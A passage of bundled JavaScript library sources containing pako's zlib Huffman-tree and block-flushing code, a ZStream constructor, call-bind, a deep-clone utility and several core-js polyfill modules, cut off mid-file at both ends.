the overlay between pending_buf and d_buf+l_buf is ok: */\n //Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx,\n // \"pendingBuf overflow\");\n\n } while (lx < s.last_lit);\n }\n\n send_code(s, END_BLOCK, ltree);\n}\n\n\n/* ===========================================================================\n * Construct one Huffman tree and assigns the code bit strings and lengths.\n * Update the total bit length for the current block.\n * IN assertion: the field freq is set for all tree elements.\n * OUT assertions: the fields len and code are set to the optimal bit length\n * and corresponding code. The length opt_len is updated; static_len is\n * also updated if stree is not null. The field max_code is set.\n */\nfunction build_tree(s, desc)\n// deflate_state *s;\n// tree_desc *desc; /* the tree descriptor */\n{\n var tree = desc.dyn_tree;\n var stree = desc.stat_desc.static_tree;\n var has_stree = desc.stat_desc.has_stree;\n var elems = desc.stat_desc.elems;\n var n, m; /* iterate over heap elements */\n var max_code = -1; /* largest code with non zero frequency */\n var node; /* new node being created */\n\n /* Construct the initial heap, with least frequent element in\n * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].\n * heap[0] is not used.\n */\n s.heap_len = 0;\n s.heap_max = HEAP_SIZE;\n\n for (n = 0; n < elems; n++) {\n if (tree[n * 2]/*.Freq*/ !== 0) {\n s.heap[++s.heap_len] = max_code = n;\n s.depth[n] = 0;\n\n } else {\n tree[n * 2 + 1]/*.Len*/ = 0;\n }\n }\n\n /* The pkzip format requires that at least one distance code exists,\n * and that at least one bit should be sent even if there is only one\n * possible code. So to avoid special checks later on we force at least\n * two codes of non zero frequency.\n */\n while (s.heap_len < 2) {\n node = s.heap[++s.heap_len] = (max_code < 2 ? ++max_code : 0);\n tree[node * 2]/*.Freq*/ = 1;\n s.depth[node] = 0;\n s.opt_len--;\n\n if (has_stree) {\n s.static_len -= stree[node * 2 + 1]/*.Len*/;\n }\n /* node is 0 or 1 so it does not have extra bits */\n }\n desc.max_code = max_code;\n\n /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,\n * establish sub-heaps of increasing lengths:\n */\n for (n = (s.heap_len >> 1/*int /2*/); n >= 1; n--) { pqdownheap(s, tree, n); }\n\n /* Construct the Huffman tree by repeatedly combining the least two\n * frequent nodes.\n */\n node = elems; /* next internal node of the tree */\n do {\n //pqremove(s, tree, n); /* n = node of least frequency */\n /*** pqremove ***/\n n = s.heap[1/*SMALLEST*/];\n s.heap[1/*SMALLEST*/] = s.heap[s.heap_len--];\n pqdownheap(s, tree, 1/*SMALLEST*/);\n /***/\n\n m = s.heap[1/*SMALLEST*/]; /* m = node of next least frequency */\n\n s.heap[--s.heap_max] = n; /* keep the nodes sorted by frequency */\n s.heap[--s.heap_max] = m;\n\n /* Create a new node father of n and m */\n tree[node * 2]/*.Freq*/ = tree[n * 2]/*.Freq*/ + tree[m * 2]/*.Freq*/;\n s.depth[node] = (s.depth[n] >= s.depth[m] ? s.depth[n] : s.depth[m]) + 1;\n tree[n * 2 + 1]/*.Dad*/ = tree[m * 2 + 1]/*.Dad*/ = node;\n\n /* and insert the new node in the heap */\n s.heap[1/*SMALLEST*/] = node++;\n pqdownheap(s, tree, 1/*SMALLEST*/);\n\n } while (s.heap_len >= 2);\n\n s.heap[--s.heap_max] = s.heap[1/*SMALLEST*/];\n\n /* At this point, the fields freq and dad are set. We can now\n * generate the bit lengths.\n */\n gen_bitlen(s, desc);\n\n /* The field len is now set, we can generate the bit codes */\n gen_codes(tree, max_code, s.bl_count);\n}\n\n\n/* ===========================================================================\n * Scan a literal or distance tree to determine the frequencies of the codes\n * in the bit length tree.\n */\nfunction scan_tree(s, tree, max_code)\n// deflate_state *s;\n// ct_data *tree; /* the tree to be scanned */\n// int max_code; /* and its largest code of non zero frequency */\n{\n var n; /* iterates over all tree elements */\n var prevlen = -1; /* last emitted length */\n var curlen; /* length of current code */\n\n var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */\n\n var count = 0; /* repeat count of the current code */\n var max_count = 7; /* max repeat count */\n var min_count = 4; /* min repeat count */\n\n if (nextlen === 0) {\n max_count = 138;\n min_count = 3;\n }\n tree[(max_code + 1) * 2 + 1]/*.Len*/ = 0xffff; /* guard */\n\n for (n = 0; n <= max_code; n++) {\n curlen = nextlen;\n nextlen = tree[(n + 1) * 2 + 1]/*.Len*/;\n\n if (++count < max_count && curlen === nextlen) {\n continue;\n\n } else if (count < min_count) {\n s.bl_tree[curlen * 2]/*.Freq*/ += count;\n\n } else if (curlen !== 0) {\n\n if (curlen !== prevlen) { s.bl_tree[curlen * 2]/*.Freq*/++; }\n s.bl_tree[REP_3_6 * 2]/*.Freq*/++;\n\n } else if (count <= 10) {\n s.bl_tree[REPZ_3_10 * 2]/*.Freq*/++;\n\n } else {\n s.bl_tree[REPZ_11_138 * 2]/*.Freq*/++;\n }\n\n count = 0;\n prevlen = curlen;\n\n if (nextlen === 0) {\n max_count = 138;\n min_count = 3;\n\n } else if (curlen === nextlen) {\n max_count = 6;\n min_count = 3;\n\n } else {\n max_count = 7;\n min_count = 4;\n }\n }\n}\n\n\n/* ===========================================================================\n * Send a literal or distance tree in compressed form, using the codes in\n * bl_tree.\n */\nfunction send_tree(s, tree, max_code)\n// deflate_state *s;\n// ct_data *tree; /* the tree to be scanned */\n// int max_code; /* and its largest code of non zero frequency */\n{\n var n; /* iterates over all tree elements */\n var prevlen = -1; /* last emitted length */\n var curlen; /* length of current code */\n\n var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */\n\n var count = 0; /* repeat count of the current code */\n var max_count = 7; /* max repeat count */\n var min_count = 4; /* min repeat count */\n\n /* tree[max_code+1].Len = -1; */ /* guard already set */\n if (nextlen === 0) {\n max_count = 138;\n min_count = 3;\n }\n\n for (n = 0; n <= max_code; n++) {\n curlen = nextlen;\n nextlen = tree[(n + 1) * 2 + 1]/*.Len*/;\n\n if (++count < max_count && curlen === nextlen) {\n continue;\n\n } else if (count < min_count) {\n do { send_code(s, curlen, s.bl_tree); } while (--count !== 0);\n\n } else if (curlen !== 0) {\n if (curlen !== prevlen) {\n send_code(s, curlen, s.bl_tree);\n count--;\n }\n //Assert(count >= 3 && count <= 6, \" 3_6?\");\n send_code(s, REP_3_6, s.bl_tree);\n send_bits(s, count - 3, 2);\n\n } else if (count <= 10) {\n send_code(s, REPZ_3_10, s.bl_tree);\n send_bits(s, count - 3, 3);\n\n } else {\n send_code(s, REPZ_11_138, s.bl_tree);\n send_bits(s, count - 11, 7);\n }\n\n count = 0;\n prevlen = curlen;\n if (nextlen === 0) {\n max_count = 138;\n min_count = 3;\n\n } else if (curlen === nextlen) {\n max_count = 6;\n min_count = 3;\n\n } else {\n max_count = 7;\n min_count = 4;\n }\n }\n}\n\n\n/* ===========================================================================\n * Construct the Huffman tree for the bit lengths and return the index in\n * bl_order of the last bit length code to send.\n */\nfunction build_bl_tree(s) {\n var max_blindex; /* index of last bit length code of non zero freq */\n\n /* Determine the bit length frequencies for literal and distance trees */\n scan_tree(s, s.dyn_ltree, s.l_desc.max_code);\n scan_tree(s, s.dyn_dtree, s.d_desc.max_code);\n\n /* Build the bit length tree: */\n build_tree(s, s.bl_desc);\n /* opt_len now includes the length of the tree representations, except\n * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.\n */\n\n /* Determine the number of bit length codes to send. The pkzip format\n * requires that at least 4 bit length codes be sent. (appnote.txt says\n * 3 but the actual value used is 4.)\n */\n for (max_blindex = BL_CODES - 1; max_blindex >= 3; max_blindex--) {\n if (s.bl_tree[bl_order[max_blindex] * 2 + 1]/*.Len*/ !== 0) {\n break;\n }\n }\n /* Update opt_len to include the bit length tree and counts */\n s.opt_len += 3 * (max_blindex + 1) + 5 + 5 + 4;\n //Tracev((stderr, \"\\ndyn trees: dyn %ld, stat %ld\",\n // s->opt_len, s->static_len));\n\n return max_blindex;\n}\n\n\n/* ===========================================================================\n * Send the header for a block using dynamic Huffman trees: the counts, the\n * lengths of the bit length codes, the literal tree and the distance tree.\n * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.\n */\nfunction send_all_trees(s, lcodes, dcodes, blcodes)\n// deflate_state *s;\n// int lcodes, dcodes, blcodes; /* number of codes for each tree */\n{\n var rank; /* index in bl_order */\n\n //Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, \"not enough codes\");\n //Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,\n // \"too many codes\");\n //Tracev((stderr, \"\\nbl counts: \"));\n send_bits(s, lcodes - 257, 5); /* not +255 as stated in appnote.txt */\n send_bits(s, dcodes - 1, 5);\n send_bits(s, blcodes - 4, 4); /* not -3 as stated in appnote.txt */\n for (rank = 0; rank < blcodes; rank++) {\n //Tracev((stderr, \"\\nbl code %2d \", bl_order[rank]));\n send_bits(s, s.bl_tree[bl_order[rank] * 2 + 1]/*.Len*/, 3);\n }\n //Tracev((stderr, \"\\nbl tree: sent %ld\", s->bits_sent));\n\n send_tree(s, s.dyn_ltree, lcodes - 1); /* literal tree */\n //Tracev((stderr, \"\\nlit tree: sent %ld\", s->bits_sent));\n\n send_tree(s, s.dyn_dtree, dcodes - 1); /* distance tree */\n //Tracev((stderr, \"\\ndist tree: sent %ld\", s->bits_sent));\n}\n\n\n/* ===========================================================================\n * Check if the data type is TEXT or BINARY, using the following algorithm:\n * - TEXT if the two conditions below are satisfied:\n * a) There are no non-portable control characters belonging to the\n * \"black list\" (0..6, 14..25, 28..31).\n * b) There is at least one printable character belonging to the\n * \"white list\" (9 {TAB}, 10 {LF}, 13 {CR}, 32..255).\n * - BINARY otherwise.\n * - The following partially-portable control characters form a\n * \"gray list\" that is ignored in this detection algorithm:\n * (7 {BEL}, 8 {BS}, 11 {VT}, 12 {FF}, 26 {SUB}, 27 {ESC}).\n * IN assertion: the fields Freq of dyn_ltree are set.\n */\nfunction detect_data_type(s) {\n /* black_mask is the bit mask of black-listed bytes\n * set bits 0..6, 14..25, and 28..31\n * 0xf3ffc07f = binary 11110011111111111100000001111111\n */\n var black_mask = 0xf3ffc07f;\n var n;\n\n /* Check for non-textual (\"black-listed\") bytes. */\n for (n = 0; n <= 31; n++, black_mask >>>= 1) {\n if ((black_mask & 1) && (s.dyn_ltree[n * 2]/*.Freq*/ !== 0)) {\n return Z_BINARY;\n }\n }\n\n /* Check for textual (\"white-listed\") bytes. */\n if (s.dyn_ltree[9 * 2]/*.Freq*/ !== 0 || s.dyn_ltree[10 * 2]/*.Freq*/ !== 0 ||\n s.dyn_ltree[13 * 2]/*.Freq*/ !== 0) {\n return Z_TEXT;\n }\n for (n = 32; n < LITERALS; n++) {\n if (s.dyn_ltree[n * 2]/*.Freq*/ !== 0) {\n return Z_TEXT;\n }\n }\n\n /* There are no \"black-listed\" or \"white-listed\" bytes:\n * this stream either is empty or has tolerated (\"gray-listed\") bytes only.\n */\n return Z_BINARY;\n}\n\n\nvar static_init_done = false;\n\n/* ===========================================================================\n * Initialize the tree data structures for a new zlib stream.\n */\nfunction _tr_init(s)\n{\n\n if (!static_init_done) {\n tr_static_init();\n static_init_done = true;\n }\n\n s.l_desc = new TreeDesc(s.dyn_ltree, static_l_desc);\n s.d_desc = new TreeDesc(s.dyn_dtree, static_d_desc);\n s.bl_desc = new TreeDesc(s.bl_tree, static_bl_desc);\n\n s.bi_buf = 0;\n s.bi_valid = 0;\n\n /* Initialize the first block of the first file: */\n init_block(s);\n}\n\n\n/* ===========================================================================\n * Send a stored block\n */\nfunction _tr_stored_block(s, buf, stored_len, last)\n//DeflateState *s;\n//charf *buf; /* input block */\n//ulg stored_len; /* length of input block */\n//int last; /* one if this is the last block for a file */\n{\n send_bits(s, (STORED_BLOCK << 1) + (last ? 1 : 0), 3); /* send block type */\n copy_block(s, buf, stored_len, true); /* with header */\n}\n\n\n/* ===========================================================================\n * Send one empty static block to give enough lookahead for inflate.\n * This takes 10 bits, of which 7 may remain in the bit buffer.\n */\nfunction _tr_align(s) {\n send_bits(s, STATIC_TREES << 1, 3);\n send_code(s, END_BLOCK, static_ltree);\n bi_flush(s);\n}\n\n\n/* ===========================================================================\n * Determine the best encoding for the current block: dynamic trees, static\n * trees or store, and output the encoded block to the zip file.\n */\nfunction _tr_flush_block(s, buf, stored_len, last)\n//DeflateState *s;\n//charf *buf; /* input block, or NULL if too old */\n//ulg stored_len; /* length of input block */\n//int last; /* one if this is the last block for a file */\n{\n var opt_lenb, static_lenb; /* opt_len and static_len in bytes */\n var max_blindex = 0; /* index of last bit length code of non zero freq */\n\n /* Build the Huffman trees unless a stored block is forced */\n if (s.level > 0) {\n\n /* Check if the file is binary or text */\n if (s.strm.data_type === Z_UNKNOWN) {\n s.strm.data_type = detect_data_type(s);\n }\n\n /* Construct the literal and distance trees */\n build_tree(s, s.l_desc);\n // Tracev((stderr, \"\\nlit data: dyn %ld, stat %ld\", s->opt_len,\n // s->static_len));\n\n build_tree(s, s.d_desc);\n // Tracev((stderr, \"\\ndist data: dyn %ld, stat %ld\", s->opt_len,\n // s->static_len));\n /* At this point, opt_len and static_len are the total bit lengths of\n * the compressed block data, excluding the tree representations.\n */\n\n /* Build the bit length tree for the above two trees, and get the index\n * in bl_order of the last bit length code to send.\n */\n max_blindex = build_bl_tree(s);\n\n /* Determine the best encoding. Compute the block lengths in bytes. */\n opt_lenb = (s.opt_len + 3 + 7) >>> 3;\n static_lenb = (s.static_len + 3 + 7) >>> 3;\n\n // Tracev((stderr, \"\\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u \",\n // opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,\n // s->last_lit));\n\n if (static_lenb <= opt_lenb) { opt_lenb = static_lenb; }\n\n } else {\n // Assert(buf != (char*)0, \"lost buf\");\n opt_lenb = static_lenb = stored_len + 5; /* force a stored block */\n }\n\n if ((stored_len + 4 <= opt_lenb) && (buf !== -1)) {\n /* 4: two words for the lengths */\n\n /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.\n * Otherwise we can't have processed more than WSIZE input bytes since\n * the last block flush, because compression would have been\n * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to\n * transform a block into a stored block.\n */\n _tr_stored_block(s, buf, stored_len, last);\n\n } else if (s.strategy === Z_FIXED || static_lenb === opt_lenb) {\n\n send_bits(s, (STATIC_TREES << 1) + (last ? 1 : 0), 3);\n compress_block(s, static_ltree, static_dtree);\n\n } else {\n send_bits(s, (DYN_TREES << 1) + (last ? 1 : 0), 3);\n send_all_trees(s, s.l_desc.max_code + 1, s.d_desc.max_code + 1, max_blindex + 1);\n compress_block(s, s.dyn_ltree, s.dyn_dtree);\n }\n // Assert (s->compressed_len == s->bits_sent, \"bad compressed size\");\n /* The above check is made mod 2^32, for files larger than 512 MB\n * and uLong implemented on 32 bits.\n */\n init_block(s);\n\n if (last) {\n bi_windup(s);\n }\n // Tracev((stderr,\"\\ncomprlen %lu(%lu) \", s->compressed_len>>3,\n // s->compressed_len-7*last));\n}\n\n/* ===========================================================================\n * Save the match info and tally the frequency counts. Return true if\n * the current block must be flushed.\n */\nfunction _tr_tally(s, dist, lc)\n// deflate_state *s;\n// unsigned dist; /* distance of matched string */\n// unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */\n{\n //var out_length, in_length, dcode;\n\n s.pending_buf[s.d_buf + s.last_lit * 2] = (dist >>> 8) & 0xff;\n s.pending_buf[s.d_buf + s.last_lit * 2 + 1] = dist & 0xff;\n\n s.pending_buf[s.l_buf + s.last_lit] = lc & 0xff;\n s.last_lit++;\n\n if (dist === 0) {\n /* lc is the unmatched char */\n s.dyn_ltree[lc * 2]/*.Freq*/++;\n } else {\n s.matches++;\n /* Here, lc is the match length - MIN_MATCH */\n dist--; /* dist = match distance - 1 */\n //Assert((ush)dist < (ush)MAX_DIST(s) &&\n // (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&\n // (ush)d_code(dist) < (ush)D_CODES, \"_tr_tally: bad match\");\n\n s.dyn_ltree[(_length_code[lc] + LITERALS + 1) * 2]/*.Freq*/++;\n s.dyn_dtree[d_code(dist) * 2]/*.Freq*/++;\n }\n\n// (!) This block is disabled in zlib defaults,\n// don't enable it for binary compatibility\n\n//#ifdef TRUNCATE_BLOCK\n// /* Try to guess if it is profitable to stop the current block here */\n// if ((s.last_lit & 0x1fff) === 0 && s.level > 2) {\n// /* Compute an upper bound for the compressed length */\n// out_length = s.last_lit*8;\n// in_length = s.strstart - s.block_start;\n//\n// for (dcode = 0; dcode < D_CODES; dcode++) {\n// out_length += s.dyn_dtree[dcode*2]/*.Freq*/ * (5 + extra_dbits[dcode]);\n// }\n// out_length >>>= 3;\n// //Tracev((stderr,\"\\nlast_lit %u, in %ld, out ~%ld(%ld%%) \",\n// // s->last_lit, in_length, out_length,\n// // 100L - out_length*100L/in_length));\n// if (s.matches < (s.last_lit>>1)/*int /2*/ && out_length < (in_length>>1)/*int /2*/) {\n// return true;\n// }\n// }\n//#endif\n\n return (s.last_lit === s.lit_bufsize - 1);\n /* We avoid equality with lit_bufsize because of wraparound at 64K\n * on 16 bit machines and because stored blocks are restricted to\n * 64K-1 bytes.\n */\n}\n\nexports._tr_init = _tr_init;\nexports._tr_stored_block = _tr_stored_block;\nexports._tr_flush_block = _tr_flush_block;\nexports._tr_tally = _tr_tally;\nexports._tr_align = _tr_align;\n","'use strict';\n\n// (C) 1995-2013 Jean-loup Gailly and Mark Adler\n// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin\n//\n// This software is provided 'as-is', without any express or implied\n// warranty. In no event will the authors be held liable for any damages\n// arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it\n// freely, subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented; you must not\n// claim that you wrote the original software. If you use this software\n// in a product, an acknowledgment in the product documentation would be\n// appreciated but is not required.\n// 2. Altered source versions must be plainly marked as such, and must not be\n// misrepresented as being the original software.\n// 3. This notice may not be removed or altered from any source distribution.\n\nfunction ZStream() {\n /* next input byte */\n this.input = null; // JS specific, because we have no pointers\n this.next_in = 0;\n /* number of bytes available at input */\n this.avail_in = 0;\n /* total number of input bytes read so far */\n this.total_in = 0;\n /* next output byte should be put there */\n this.output = null; // JS specific, because we have no pointers\n this.next_out = 0;\n /* remaining free space at output */\n this.avail_out = 0;\n /* total number of bytes output so far */\n this.total_out = 0;\n /* last error message, NULL if no error */\n this.msg = ''/*Z_NULL*/;\n /* not visible by applications */\n this.state = null;\n /* best guess about the data type: binary or text */\n this.data_type = 2/*Z_UNKNOWN*/;\n /* adler32 value of the uncompressed data */\n this.adler = 0;\n}\n\nmodule.exports = ZStream;\n","'use strict';\n\nvar GetIntrinsic = require('get-intrinsic');\n\nvar callBind = require('./');\n\nvar $indexOf = callBind(GetIntrinsic('String.prototype.indexOf'));\n\nmodule.exports = function callBoundIntrinsic(name, allowMissing) {\n\tvar intrinsic = GetIntrinsic(name, !!allowMissing);\n\tif (typeof intrinsic === 'function' && $indexOf(name, '.prototype.') > -1) {\n\t\treturn callBind(intrinsic);\n\t}\n\treturn intrinsic;\n};\n","'use strict';\n\nvar bind = require('function-bind');\nvar GetIntrinsic = require('get-intrinsic');\n\nvar $apply = GetIntrinsic('%Function.prototype.apply%');\nvar $call = GetIntrinsic('%Function.prototype.call%');\nvar $reflectApply = GetIntrinsic('%Reflect.apply%', true) || bind.call($call, $apply);\n\nvar $gOPD = GetIntrinsic('%Object.getOwnPropertyDescriptor%', true);\nvar $defineProperty = GetIntrinsic('%Object.defineProperty%', true);\nvar $max = GetIntrinsic('%Math.max%');\n\nif ($defineProperty) {\n\ttry {\n\t\t$defineProperty({}, 'a', { value: 1 });\n\t} catch (e) {\n\t\t// IE 8 has a broken defineProperty\n\t\t$defineProperty = null;\n\t}\n}\n\nmodule.exports = function callBind(originalFunction) {\n\tvar func = $reflectApply(bind, $call, arguments);\n\tif ($gOPD && $defineProperty) {\n\t\tvar desc = $gOPD(func, 'length');\n\t\tif (desc.configurable) {\n\t\t\t// original length, plus the receiver, minus any additional arguments (after the receiver)\n\t\t\t$defineProperty(\n\t\t\t\tfunc,\n\t\t\t\t'length',\n\t\t\t\t{ value: 1 + $max(0, originalFunction.length - (arguments.length - 1)) }\n\t\t\t);\n\t\t}\n\t}\n\treturn func;\n};\n\nvar applyBind = function applyBind() {\n\treturn $reflectApply(bind, $apply, arguments);\n};\n\nif ($defineProperty) {\n\t$defineProperty(module.exports, 'apply', { value: applyBind });\n} else {\n\tmodule.exports.apply = applyBind;\n}\n","var clone = (function() {\n'use strict';\n\n/**\n * Clones (copies) an Object using deep copying.\n *\n * This function supports circular references by default, but if you are certain\n * there are no circular references in your object, you can save some CPU time\n * by calling clone(obj, false).\n *\n * Caution: if `circular` is false and `parent` contains circular references,\n * your program may enter an infinite loop and crash.\n *\n * @param `parent` - the object to be cloned\n * @param `circular` - set to true if the object to be cloned may contain\n * circular references. (optional - true by default)\n * @param `depth` - set to a number if the object is only to be cloned to\n * a particular depth. (optional - defaults to Infinity)\n * @param `prototype` - sets the prototype to be used when cloning an object.\n * (optional - defaults to parent prototype).\n*/\nfunction clone(parent, circular, depth, prototype) {\n var filter;\n if (typeof circular === 'object') {\n depth = circular.depth;\n prototype = circular.prototype;\n filter = circular.filter;\n circular = circular.circular\n }\n // maintain two arrays for circular references, where corresponding parents\n // and children have the same index\n var allParents = [];\n var allChildren = [];\n\n var useBuffer = typeof Buffer != 'undefined';\n\n if (typeof circular == 'undefined')\n circular = true;\n\n if (typeof depth == 'undefined')\n depth = Infinity;\n\n // recurse this function so we don't reset allParents and allChildren\n function _clone(parent, depth) {\n // cloning null always returns null\n if (parent === null)\n return null;\n\n if (depth == 0)\n return parent;\n\n var child;\n var proto;\n if (typeof parent != 'object') {\n return parent;\n }\n\n if (clone.__isArray(parent)) {\n child = [];\n } else if (clone.__isRegExp(parent)) {\n child = new RegExp(parent.source, __getRegExpFlags(parent));\n if (parent.lastIndex) child.lastIndex = parent.lastIndex;\n } else if (clone.__isDate(parent)) {\n child = new Date(parent.getTime());\n } else if (useBuffer && Buffer.isBuffer(parent)) {\n if (Buffer.allocUnsafe) {\n // Node.js >= 4.5.0\n child = Buffer.allocUnsafe(parent.length);\n } else {\n // Older Node.js versions\n child = new Buffer(parent.length);\n }\n parent.copy(child);\n return child;\n } else {\n if (typeof prototype == 'undefined') {\n proto = Object.getPrototypeOf(parent);\n child = Object.create(proto);\n }\n else {\n child = Object.create(prototype);\n proto = prototype;\n }\n }\n\n if (circular) {\n var index = allParents.indexOf(parent);\n\n if (index != -1) {\n return allChildren[index];\n }\n allParents.push(parent);\n allChildren.push(child);\n }\n\n for (var i in parent) {\n var attrs;\n if (proto) {\n attrs = Object.getOwnPropertyDescriptor(proto, i);\n }\n\n if (attrs && attrs.set == null) {\n continue;\n }\n child[i] = _clone(parent[i], depth - 1);\n }\n\n return child;\n }\n\n return _clone(parent, depth);\n}\n\n/**\n * Simple flat clone using prototype, accepts only objects, usefull for property\n * override on FLAT configuration object (no nested props).\n *\n * USE WITH CAUTION! This may not behave as you wish if you do not know how this\n * works.\n */\nclone.clonePrototype = function clonePrototype(parent) {\n if (parent === null)\n return null;\n\n var c = function () {};\n c.prototype = parent;\n return new c();\n};\n\n// private utility functions\n\nfunction __objToStr(o) {\n return Object.prototype.toString.call(o);\n};\nclone.__objToStr = __objToStr;\n\nfunction __isDate(o) {\n return typeof o === 'object' && __objToStr(o) === '[object Date]';\n};\nclone.__isDate = __isDate;\n\nfunction __isArray(o) {\n return typeof o === 'object' && __objToStr(o) === '[object Array]';\n};\nclone.__isArray = __isArray;\n\nfunction __isRegExp(o) {\n return typeof o === 'object' && __objToStr(o) === '[object RegExp]';\n};\nclone.__isRegExp = __isRegExp;\n\nfunction __getRegExpFlags(re) {\n var flags = '';\n if (re.global) flags += 'g';\n if (re.ignoreCase) flags += 'i';\n if (re.multiline) flags += 'm';\n return flags;\n};\nclone.__getRegExpFlags = __getRegExpFlags;\n\nreturn clone;\n})();\n\nif (typeof module === 'object' && module.exports) {\n module.exports = clone;\n}\n","require('../../modules/es.object.values');\nvar path = require('../../internals/path');\n\nmodule.exports = path.Object.values;\n","require('../../modules/es.aggregate-error');\nrequire('../../modules/es.array.iterator');\nrequire('../../modules/es.object.to-string');\nrequire('../../modules/es.promise');\nrequire('../../modules/es.promise.all-settled');\nrequire('../../modules/es.promise.any');\nrequire('../../modules/es.promise.finally');\nrequire('../../modules/es.string.iterator');\nvar path = require('../../internals/path');\n\nmodule.exports = path.Promise;\n","var parent = require('../../stable/promise');\nrequire('../../modules/esnext.aggregate-error');\n// TODO: Remove from `core-js@4`\nrequire('../../modules/esnext.promise.all-settled');\nrequire('../../modules/esnext.promise.try');\nrequire('../../modules/esnext.promise.any');\n\nmodule.exports = parent;\n","var global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\nvar tryToString = require('../internals/try-to-string');\n\nvar TypeError = global.TypeError;\n\n// `Assert: IsCallable(argument) is true`\nmodule.exports = function (argument) {\n if (isCallable(argument)) return argument;\n throw TypeError(tryToString(argument) + ' is not a function');\n};\n","var global = require('../internals/global');\nvar isConstructor = require('../internals/is-constructor');\nvar tryToString = require('../internals/try-to-string');\n\nvar TypeError = global.TypeError;\n\n// `Assert: IsConstructor(argument) is true`\nmodule.exports = function (argument) {\n if (isConstructor(argument)) return argument;\n throw TypeError(tryToString(argument) + ' is not a constructor');\n};\n","var global = require('../internals/global');\nvar isCallable = require('../internals/is-callable');\n\nvar String = global.String;\nvar TypeError = global.TypeError;\n\nmodule.exports = function (argument) {\n if (typeof argument == 'object' || isCallable(argument)) return argument;\n throw TypeError(\"Can't set \" + String(argument) + ' as a prototype');\n};\n","var wellKnownSymbol = require('../internals/well-known-symbol');\nvar create = require('../internals/object-create');\nvar definePropertyModule = require('../internals/object-define-property');\n\nvar UNSCOPABLES = wellKnownSymbol('unscopables');\nvar ArrayPrototype = Array.prototype;\n\n// Array.prototype[@@unscopables]\n// https://tc39.es/ecma262/#sec-array.prototype-@@unscopables\nif (ArrayPrototype[UNSCOPABLES] == undefined) {\n definePropertyModule.f(ArrayPrototype, UNSCOPABLES, {\n configurable: true,\n value: create(null)\n });\n}\n\n// add a key to Array.prototype[@@unscopables]\nmodule.exports = function (key) {\n ArrayPrototype[UNSCOPABLES][key] = true;\n};\n","'use strict';\nvar charAt = require('../internals/string-multibyte').charAt;\n\n// `AdvanceStringIndex` abstract operation\n// https://tc39.es/ecma262/#sec-advancestringindex\nmodule.exports = function (S, index, unicode) {\n return index + (unicode ? charAt(S, index).length : 1);\n};\n","var global = require('../internals/global');\nvar isPrototypeOf = require('../internals/object-is-prototype-of');\n\nvar TypeError = global.TypeError;\n\nmodule.exports = function (it, Prototype) {\n if (isPrototypeOf(Prototype, it)) return it;\n throw TypeError('Incorrect invocation');\n};\n","var global = require('../internals/global');\nvar isObject = require('../internals/is-object');\n\nvar String = global.String;\nvar TypeError = global.TypeError;\n\n// `Assert: Type(argument) is Object`\nmodule.exports = function (argument) {\n if (isObject(argument)) return argument;\n throw TypeError(String(argument) + ' is not an object');\n};\n","'use strict';\nvar toObject = require('../internals/to-object');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\n\nvar min = Math.min;\n\n// `Array.prototype.copyWithin` method implementation\n// https://tc39.es/ecma262/#sec-array.prototype.copywithin\n// eslint-disable-next-line es/no-array-prototype-copywithin -- safe\nmodule.exports = [].copyWithin || function copyWithin(target /* = 0 */, start /* = 0, end = @length */) {\n var O = toObject(this);\n var len = lengthOfArrayLike(O);\n var to = toAbsoluteIndex(target, len);\n var from = toAbsoluteIndex(start, len);\n var end = arguments.length > 2 ? arguments[2] : undefined;\n var count = min((end === undefined ? len : toAbsoluteIndex(end, len)) - from, len - to);\n var inc = 1;\n if (from < to && to < from + count) {\n inc = -1;\n from += count - 1;\n to += count - 1;\n }\n while (count-- > 0) {\n if (from in O) O[to] = O[from];\n else delete O[to];\n to += inc;\n from += inc;\n } return O;\n};\n","'use strict';\nvar toObject = require('../internals/to-object');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\n\n// `Array.prototype.fill` method implementation\n// https://tc39.es/ecma262/#sec-array.prototype.fill\nmodule.exports = function fill(value /* , start = 0, end = @length */) {\n var O = toObject(this);\n var length = lengthOfArrayLike(O);\n var argumentsLength = arguments.length;\n var index = toAbsoluteIndex(argumentsLength > 1 ? arguments[1] : undefined, length);\n var end = argumentsLength > 2 ? arguments[2] : undefined;\n var endPos = end === undefined ? length : toAbsoluteIndex(end, length);\n while (endPos > index) O[index++] = value;\n return O;\n};\n","'use strict';\nvar $forEach = require('../internals/array-iteration').forEach;\nvar arrayMethodIsStrict = require('../internals/array-method-is-strict');\n\nvar STRICT_METHOD = arrayMethodIsStrict('forEach');\n\n// `Array.prototype.forEach` method implementation\n// https://tc39.es/ecma262/#sec-array.prototype.foreach\nmodule.exports = !STRICT_METHOD ? function forEach(callbackfn /* , thisArg */) {\n return $forEach(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n// eslint-disable-next-line es/no-array-prototype-foreach -- safe\n} : [].forEach;\n","module.exports = function (Constructor, list) {\n var index = 0;\n var length = list.length;\n var result = new Constructor(length);\n while (length > index) result[index] = list[index++];\n return result;\n};\n","'use strict';\nvar global = require('../internals/global');\nvar bind = require('../internals/function-bind-context');\nvar call = require('../internals/function-call');\nvar toObject = require('../internals/to-object');\nvar callWithSafeIterationClosing = require('../internals/call-with-safe-iteration-closing');\nvar isArrayIteratorMethod = require('../internals/is-array-iterator-method');\nvar isConstructor = require('../internals/is-constructor');\nvar lengthOfArrayLike = 